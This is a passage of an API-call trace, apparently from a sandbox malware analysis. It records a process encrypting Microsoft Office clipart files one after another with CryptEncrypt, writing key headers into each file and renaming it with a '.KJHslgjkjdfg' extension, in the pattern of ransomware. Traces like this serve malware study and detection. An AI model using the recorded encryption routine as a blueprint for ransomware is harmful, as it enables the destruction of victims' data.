(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.183] GetProcessHeap () returned 0x990000 [0211.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.183] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.183] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.183] GetProcessHeap () returned 0x990000 [0211.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.183] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.183] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.183] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.187] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.187] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.187] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.187] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.187] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.187] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.187] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27c0, lpOverlapped=0x0) returned 1 [0211.189] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27c0) returned 1 [0211.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.189] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27c0, lpOverlapped=0x0) returned 1 [0211.189] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.189] SetEndOfFile (hFile=0x130) returned 1 [0211.192] GetProcessHeap () returned 0x990000 [0211.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.192] GetProcessHeap () returned 0x990000 [0211.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.kjhslgjkjdfg")) returned 1 [0211.194] CloseHandle (hObject=0x130) returned 1 [0211.194] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0211.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.196] GetProcessHeap () returned 0x990000 [0211.196] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.196] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.203] GetProcessHeap () returned 0x990000 [0211.203] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.203] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.203] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.203] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.203] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.203] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.204] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x238c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x238c, lpOverlapped=0x0) returned 1 [0211.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2390, dwBufLen=0x2390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2390) returned 1 [0211.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.205] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2390, lpOverlapped=0x0) returned 1 [0211.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.205] SetEndOfFile (hFile=0x130) returned 1 [0211.208] GetProcessHeap () returned 0x990000 [0211.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.208] GetProcessHeap () returned 0x990000 [0211.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.kjhslgjkjdfg")) returned 1 [0211.211] CloseHandle (hObject=0x130) returned 1 [0211.211] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0211.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.212] GetProcessHeap () returned 0x990000 [0211.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.213] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.213] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0211.231] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.231] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.231] GetProcessHeap () returned 0x990000 [0211.231] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.231] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.231] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.231] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.231] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.231] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.231] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.232] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15fe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15fe, lpOverlapped=0x0) returned 1 [0211.241] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600, dwBufLen=0x1600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600) returned 1 [0211.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.241] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1600, lpOverlapped=0x0) returned 1 [0211.242] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.242] SetEndOfFile (hFile=0x130) returned 1 [0211.244] GetProcessHeap () returned 0x990000 [0211.245] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.245] GetProcessHeap () returned 0x990000 [0211.245] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.kjhslgjkjdfg")) returned 1 [0211.247] CloseHandle (hObject=0x130) returned 1 [0211.247] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0211.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.249] GetProcessHeap () returned 0x990000 [0211.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.249] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.249] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0211.256] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.256] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.256] GetProcessHeap () returned 0x990000 [0211.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.256] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.256] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.256] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.256] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.256] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.257] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.257] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.257] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2926, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2926, lpOverlapped=0x0) returned 1 [0211.258] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2930, dwBufLen=0x2930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2930) returned 1 [0211.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.258] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2930, lpOverlapped=0x0) returned 1 [0211.258] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.258] SetEndOfFile (hFile=0x130) returned 1 [0211.261] GetProcessHeap () returned 0x990000 [0211.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.261] GetProcessHeap () returned 0x990000 [0211.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.kjhslgjkjdfg")) returned 1 [0211.263] CloseHandle (hObject=0x130) returned 1 [0211.263] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0211.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.265] GetProcessHeap () returned 0x990000 [0211.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.265] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.265] GetProcessHeap () returned 0x990000 [0211.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.265] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.265] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, 